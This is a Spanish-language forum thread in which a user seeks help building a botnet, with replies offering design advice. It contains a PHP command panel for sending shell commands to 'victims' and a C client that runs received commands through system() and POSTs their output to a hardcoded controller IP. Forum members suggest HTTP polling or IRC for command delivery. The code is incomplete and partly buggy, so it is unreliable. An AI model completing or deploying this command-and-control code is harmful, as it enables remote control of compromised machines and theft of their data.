Controlar botnet con PHP

Iniciado por Kaxperday, 15 Septiembre 2014, 14:00 PM

0 Miembros y 1 Visitante están viendo este tema.

Kaxperday

Hola, tengo pensado controlar a partir de un servidor web que corra un script PHP una botnet (pero esto en teoría OJO, aprendizaje nunca práctica que luego...), ahora bien, los clientes estaría en C o C++, iré subiendo código y editando mensajes acerca del proyecto, la idea es poder gestionar desde el servidor web a las víctimas a través de una SHELL, lo que peor llevo son sockets así que una ayuda no vendrá mal, una guía o algo iré subiendo código.

Edito: subiré la carpeta entera del proyecto web si es necesario, y espero mejoras y consejos xD, gracias.

Saludos.
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

engel lex

no es necesario sockets a menos que quieras una comunicación compleja, puedes usar los protocolos html standard

colocas en la pagina x el comando a ejecutar y lo ejecutan, si quieres comunicación de vuelta, lo envían por post y listo... si quieres que uno de ellos se conecte contigo le pasas tu ip con un comando especial y listo... eso si, la técnica es el pivote mismo de la red... le haces ingeniería inversa a un bot, y tienen evidencia suficiente para encarcelarte o por lo menos pierdes la red


El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

Kaxperday

#2
Gracias por tu respuesta engel, he estado trabajando hasta ahora en ello. He protegido directorios, he conseguido acceder a directorios externos al actual, estética de la web y demás blablas.

Lo que tengo es esto en el php que controlaría la botnet:
(He borrado los contenedores para ir al grano y que no se alargue el code).

Código (php) [Seleccionar]

<html>
<head>
<title>Mi botnet</title>
<form action="bot.php" method="GET" >
<sub style="color: #000000">Comando a interpretar</sub>
<input type="Text" name="com" size="35" maxlength="100">
<sub style="color: #000000">Seleccione bot (si no todos serán objetivos)</sub>
<input type="Text" name="bot" size="8" maxlength="20">
<input type="Submit" value="ENVIAR">
</form>
<?
$comando = $_GET['com'];
$bot = $_GET['bot'];
if(strcmp($bot,"")==0)//mando comado a todos
{

}
else//busco y mando comando solo al indicado
{

}
//Aqui debería mandar la cadena de texto al cliente para que lo ejecute en la cmd y genere un archivo, que luego lo subiré
//con un POST su contenido, cargándolo en una variable y mostrándolo.
?>
</div>
</center>
</body>
</html>


El PHP lo que hace es recoger 2 variables que son el comando a interpretar en la SHELL del cliente, y el cliente objetivo al que se desearía interpretar, si la variable está vacía se ejecutaría a todos. Lo que no sé es como mandar desde el servidor esas cadenas con el comando a los clientes que estarían conectados, esa es la clave. Tanto para enviarlo en el PHP como para recibirlo en el C.

En el lado del C tengo esto:


#define IP "48.123.321.123"
#define PUERTO 80

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <direct.h>
#include <conio.h>
#include <time.h>
#include <math.h>

int main()
{
   char cola[20]=">data.txt",comando[100];
   //recibiría el comando
   strcat(comando,cola);
   system(comando);
   conecta("data.txt");//sube la variable del usuario y contenido del archivo
   //(lo que devolvio la cmd) para cargar en vars en el PHP y mostrar allí
   return 0;
}

void conecta(char nombre[])
{
   FILE *dat;
   WSADATA wsa;
   int sok,len,i=0;
   struct sockaddr_in dir;
   char buf[60384],cad[60384],aux[10],borra[50]="del ",car;
   WSAStartup(MAKEWORD(2,0),&wsa);
   if((sok=socket(AF_INET,SOCK_STREAM,0))==-1){}
   else{
       dir.sin_family=AF_INET;
       dir.sin_port=htons(PUERTO);
       dir.sin_addr.s_addr=inet_addr(IP);
       strcat(cad,"n=");
       strcat(cad,nombre);
       strcat(cad,"&b=");
       dat=fopen(nombre,"rt");
       if(nombre==NULL)
       {
           exit(0);
       }
       while(car!=EOF)
       {
           i++;
           fseek(dat,-i,SEEK_END);
           car=fgetc(dat);
           cad[strlen(cad)]=car;
       }
       fclose(dat);
       len=strlen(cad);
       printf("%s",cad);
       itoa(len,aux,10);
       strcpy(buf,"POST direcotior_protegido/bot.php HTTP/1.1\r\n");
       strcat(buf,"Host: hostquesea.com\r\n");
       strcat(buf,"Content-type: application/x-www-form-urlencoded\r\n");
       strcat(buf,"Content-length: ");
       strcat(buf,aux);
       strcat(buf,"\r\n\r\n");
       strcat(buf,cad);
       connect(sok,(struct sockaddr*)&dir,sizeof(dir));
       send(sok,buf,strlen(buf),0);
       strcat(borra,nombre);
       system(borra);
   }
}



Esto sería ya sabéis me falta mantener una conexión constante entre cliente y server y poder mandar esos comandos desde el server.

OJO a lo de directorio protegido (donde se encuentra el bot.php), porque al estarlo probablemente no me deje hacer POST a esa dirección es por eso que me pregunto que había que poner en la cabecera del POST para autentificarse porque lo busco pero no lo encuentro quizá lo sabéis.

También he de decir engel que busco aprender no crear mi propia botnet pero si saber como hacerla pues me atrae, otra cosa sería dar el paso de ponerla en funcionamiento e infectar ordenadores se me podría caer el pelo y es algo a lo que no aspiro.

Saludos, a la espera de ayuda, seguiré subiendo code y actualizándolo.
Toda mejora o consejo es bienvenida.
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

MinusFour

HTTP es stateless por lo que vas a tener que hacer que tus bots refresquen la pagina cada tanto para obtener los comandos. Si no tienes cuidado, vas a hacer que tus bots te hagan un DDoS a tu servicio HTTP (dependiendo de cada cuanto hagan requests y cuantos bots tengas).

Kaxperday

Tengo pensado hacer una chapucilla para saber los bots que están conectados, podría poner al bot que haga un GET cada 5 minutos a un php para saber si está conectado, el php lo guardríaa en un archivo "online.txt" que el propio php lo borraría cada 5 minutos por ejemplo para eliminar los bots que ya se fueron, asi pues el online.txt tendría algo como: "usuario:14241 online ..." también podría poner su ip, ahora vale con esto ya sabría quienes están conectados de una manera muy chapucera, pero como hago para enviar el comando desde el server con php hacia los bots, para que estos lo ejecuten, y como poder evadir ese ddos del que me hablas xD (eso ya en segundo plano).

Saludos
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

MinusFour

Cita de: Kaxperday en 16 Septiembre 2014, 16:44 PM
Tengo pensado hacer una chapucilla para saber los bots que están conectados, podría poner al bot que haga un GET cada 5 minutos a un php para saber si está conectado, el php lo guardríaa en un archivo "online.txt" que el propio php lo borraría cada 5 minutos por ejemplo para eliminar los bots que ya se fueron, asi pues el online.txt tendría algo como: "usuario:14241 online ..." también podría poner su ip, ahora vale con esto ya sabría quienes están conectados de una manera muy chapucera, pero como hago para enviar el comando desde el server con php hacia los bots, para que estos lo ejecuten, y como poder evadir ese ddos del que me hablas xD (eso ya en segundo plano).

Saludos

Como te dije, HTTP es stateless y para que ellos reciban el comando atraves de una petición HTTP tienen que estar haciendo REQUESTs cada tanto para obtener el comando. Tu cliente (BOT) en C tendría que leer una respuesta HTTP y parsear los comandos.

Kaxperday

#6
Entonces el "REQUEST" es como un ping que le dice al servidor estoy listo para recibir ordenes, y debe de hacerse constantemente, para que cuando mande el comando desde el server el bot sea capaz de recibirlo, pero no entiendo hago esto y que consigo, que me faltaría.

He buscado como hacer HTTP REQUEST con C y he encontrado esto (habría que pasarlo a windows):


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

/*
*
*/
int main(int argc, char** argv) {
   
   char arg[500];
   char firstHalf[500];
   char secondHalf[500];
   char request[1000];
   struct hostent *server;
   struct sockaddr_in serveraddr;
   int port = 80;
   
   strcpy(arg, argv[1]);
   
   int i;
   for (i = 0; i < strlen(arg); i++)
   {
       if (arg[i] == '/')
       {
               strncpy(firstHalf, arg, i);
               firstHalf[i] = '\0';
               break;
       }    
   }
   
   for (i; i < strlen(arg); i++)
   {
       strcat(secondHalf, &arg[i]);
       break;
   }
   
   printf("\nFirst Half: %s", firstHalf);
   
   printf("\nSecond Half: %s", secondHalf);
   
   int tcpSocket = socket(AF_INET, SOCK_STREAM, 0);
   
   if (tcpSocket < 0)
       printf("\nError opening socket");
   else
       printf("\nSuccessfully opened socket");
   
   server = gethostbyname(firstHalf);
   
   if (server == NULL)
   {
       printf("gethostbyname() failed\n");
   }
   else
   {
       printf("\n%s = ", server->h_name);
       unsigned int j = 0;
       while (server -> h_addr_list[j] != NULL)
       {
           printf("%s", inet_ntoa(*(struct in_addr*)(server -> h_addr_list[j])));
           j++;
       }
   }
   
   printf("\n");

   bzero((char *) &serveraddr, sizeof(serveraddr));
   serveraddr.sin_family = AF_INET;

   bcopy((char *)server->h_addr, (char *)&serveraddr.sin_addr.s_addr, server->h_length);
   
   serveraddr.sin_port = htons(port);
   
   if (connect(tcpSocket, (struct sockaddr *) &serveraddr, sizeof(serveraddr)) < 0)
       printf("\nError Connecting");
   else
       printf("\nSuccessfully Connected");
 
   bzero(request, 1000);

   sprintf(request, "Get %s HTTP/1.1\r\n Host: %s\r\n \r\n \r\n", secondHalf, firstHalf);
   
   printf("\n%s", request);
   
   if (send(tcpSocket, request, strlen(request), 0) < 0)
       printf("Error with send()");
   else
       printf("Successfully sent html fetch request");
   
   bzero(request, 1000);
   
   recv(tcpSocket, request, 999, 0);
   printf("\n%s", request);
   printf("\nhello");
   
   close(tcpSocket);
   
   return (EXIT_SUCCESS);
}


Esto es en teoría un HTTP REQUEST, que no se lo que es aún, ¿dónde recogería, en que variable el comando del server?, perdonad mi ignorancia porque nunca he trabajado con algo parecido y me parece muy complejo, lo veo todo borroso.

Podría hacer una función en mi bot que haga un HTTP REQUEST, pero, ¿cuando debería usarla y por qué?

Edito: Lo borro todo, eso de request es demasiado complejo y molesto, mi idea es que los bots hagan un POST al server y este guarde su dirección IP en un archivo, este archivo se borra cada cierto tiempo, bien tenemos las ips en el archivo, continuamos...
Ahora usamos esto:

Código (php) [Seleccionar]
<?php
error_reporting
(E_ALL);

/* Permitir al script esperar para conexiones. */
set_time_limit(0);

/* Activar el volcado de salida implícito, así veremos lo que estamo obteniendo
 * mientras llega. */
ob_implicit_flush();

$address '192.168.1.53';
$port 10000;

if ((
$sock socket_create(AF_INETSOCK_STREAMSOL_TCP)) === false) {
    echo 
"socket_create() falló: razón: " socket_strerror(socket_last_error()) . "\n";
}

if (
socket_bind($sock$address$port) === false) {
    echo 
"socket_bind() falló: razón: " socket_strerror(socket_last_error($sock)) . "\n";
}

if (
socket_listen($sock5) === false) {
    echo 
"socket_listen() falló: razón: " socket_strerror(socket_last_error($sock)) . "\n";
}

do {
    if ((
$msgsock socket_accept($sock)) === false) {
        echo 
"socket_accept() falló: razón: " socket_strerror(socket_last_error($sock)) . "\n";
        break;
    }
    
/* Enviar instrucciones. */
    
$msg "\nBienvenido al Servidor De Prueba de PHP. \n" .
        
"Para salir, escriba 'quit'. Para cerrar el servidor escriba 'shutdown'.\n";
    
socket_write($msgsock$msgstrlen($msg));

    do {
        if (
false === ($buf socket_read($msgsock2048PHP_NORMAL_READ))) {
            echo 
"socket_read() falló: razón: " socket_strerror(socket_last_error($msgsock)) . "\n";
            break 
2;
        }
        if (!
$buf trim($buf)) {
            continue;
        }
        if (
$buf == 'quit') {
            break;
        }
        if (
$buf == 'shutdown') {
            
socket_close($msgsock);
            break 
2;
        }
        
$talkback "PHP: Usted dijo '$buf'.\n";
        
socket_write($msgsock$talkbackstrlen($talkback));
        echo 
"$buf\n";
    } while (
true);
    
socket_close($msgsock);
} while (
true);

socket_close($sock);
?>


Esto enviaría una cadena al cliente bot, a través de su ip (la tenemos en el archivo) y un puerto (el que queramos), a través de esto enviamos el comando objetivo cumplido, o ¿me equivoco?

Edito: El server es evidente no podrá controlar más de unos 100 bots a la vez, pues estos para actualizar el "online.txt" deben mandar un POST cada minuto para indicar que están conectados y así el server poder enviar a través de su ip y puerto el comando con la orden.

Saludos y gracias por la paciencia xD
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

daryo

uff mejor hacerla en sockets no? que necesidad de estar haciendo peticiones

ya que no haras nada malo usa irc para probar , es un protocolo sencillo . si lo usas para fines maliciosos por irc sera bastate simple que den contigo si no preguntale a algunos usuarios del foro
buenas

Kaxperday

Si usa sockets los usa para enviar el comando desde el servidor hasta los bots clientes.
Como dije, este comando se enviaría a todos los usuarios conectados que estarían en el archivo, si falla uno (se desconecta después de refrescarse)  fallaría la conexión y se cancelaría el comando para ese usuario no habría problema.

Ahora bien faltaría necesitaría ayuda pues no sé como funciona del todo el código PHP que posteé creo que hace lo que dije, ahora tengo que crear en el cliente/bot un socket que se encargue de recoger ese comando y eso no lo sé hacer, haber si alguien me echa un cable porque nunca he trabajado con sockets xD, se hacer POST y nada más.

Creo con esto que la idea está clara, sería una botnet para un reducido número de bots, y es ás en un caso de que sean muy pocos (menos de 20) no haría falta crear el online.txt ni refrescarlo, podríamos hacer un for e ir recorriendolos uno a uno: que está conectado? le mandamos comando, que no? socket falla cancelamos comando. Si son pocos esto sería viable.

Saludos

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

MinusFour

Yo creo que vas a tener mejores respuestas para C en el subforo de C.

https://foro.elhacker.net/programacion_cc-b49.0/